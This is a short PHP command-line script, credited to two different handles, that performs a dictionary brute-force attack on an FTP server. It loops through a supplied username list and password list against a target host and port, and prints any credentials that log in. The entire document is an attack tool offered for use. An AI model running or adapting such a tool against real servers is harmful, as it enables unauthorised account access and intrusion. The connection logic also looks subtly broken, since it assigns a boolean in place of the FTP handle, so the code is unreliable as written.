PHP FTP Bruter

#!/usr/bin/php -q
<?php
 
/**
 * FTP Dictionary Attacker v1.0
 * 
 * by blink_212
 * 
 * EnigmaGroup.org
 *    
 */
 
 
	$users=@$argv[1];
	$passlist=@$argv[2];
	$host=@$argv[3];
	$port=@$argv[4];
 
 
print("
### ### ##       ##             #            #      ### 
#    #  # #     #   ###  ## ### # #     # # ##        # 
##   #  ##      #   #   # # #   ##      # #  #      ### 
#    #  #       #   #   ### ### # #      #   #      #   
#    #  #        ##                         ###  #  ###
 
Coded by zeN@dusecurity.com
 
Usage :
php ftp_crack.php <userlist> <passlist> <host> <port>
 
--------------------------------------------------------------------\n");
 
	if(count(@$argv) <= 1)
	{
	die("\n");
	}
 
	if(!$users)
	{
		die("\n[-] No userlist was entered, exiting...\n");
	}
	if(!$passlist)
	{
		die("\n[-] No passlist was entered, exiting...\n");
	}
	if(!$host)
	{
		die("\n[-] No host was entered, exiting...\n");
	}
	if(!$port)
	{
		die("\n[-] No port was entered, exiting...\n");
	}
 
    $file = @file($passlist);
	$user = @file($users);
 
	if(!$file)
	{
		print("\n[-] Unable to load ".$passlist);
		$error = 1;
	}
 
	if(!$user)
	{
		print("\n[-] Unable to load ".$users);
		$error = 1;
	}
 
	if(@$error == 1)
	{
		die("\n[-] To many errors, exiting...");
	}
	else
	{
		$x = count($file);
		print("\n[+] Loaded ".count($user)." usernames.");
		print("\n[+] Loaded ".$x." passwords.");
	}
 
		print("\n[+] Starting attack on ".$host);
 
	foreach($user as $uname)
	{
	$i = 1;
 
	$uname = substr_replace($uname ,"",-1);
 
		print("\n[+] Trying user : ".$uname);
 
	foreach($file as $pass)
		{
			$pass = substr_replace($pass ,"",-1);
 
			$link = ConnectMe($host, $port) || die("\n[-] Unable to connect, aborting!");
						if (@ftp_login($link,$uname, $pass))
						{
							print("\n[+] Found Login - ".$uname."\n");
							die("|(".$i."/".$x.")---> ".$pass."\n");
						}
						else
						{
							print "\n[-] ".$uname."\n";
							print "|(".$i."/".$x.")---> ".$pass;
						}
				$i++;
		}
	}
 
	die("\n[-] All lists exausted, exiting...");
 
		function ConnectMe($host, $port)
		{
			$link = @ftp_connect($host,$port,8000) || die("\n[-] Unable to connect, aborting!\n");
				return $link;
		}
?>